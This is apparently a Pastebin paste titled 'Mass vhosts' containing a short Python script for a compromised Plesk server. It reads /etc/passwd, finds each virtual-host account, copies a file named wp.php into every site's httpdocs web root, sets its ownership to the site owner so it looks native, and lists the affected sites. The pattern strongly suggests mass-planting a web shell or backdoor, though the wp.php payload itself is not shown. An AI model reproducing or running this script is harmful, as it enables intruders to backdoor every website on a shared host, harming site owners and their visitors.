androxgh0st

Mass vhosts

Jun 1st, 2020
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.47 KB | None | 0 0
  1. import os
  2. from shutil import copyfile
  3.  
  4. passwd = open("/etc/passwd").read()
  5. for i in passwd.splitlines():
  6.     if "vhosts" in i:
  7.         try:
  8.             p = i.split(":")
  9.             path = p[5] + '/httpdocs'
  10.             owner = p[0]
  11.             if os.path.isdir(path):
  12.                 copyfile("wp.php", path+"/wp.php")
  13.                 os.system("chown "+str(owner)+":psacln "+str(path)+"/wp.php")
  14.             if os.path.isfile(path+'/wp.php'):
  15.                 print(path.split("vhosts")[1].replace("httpdocs","").replace("/","") + "/wp.php")
  16.         except:
  17.             pass
Add Comment
Please, Sign In to add comment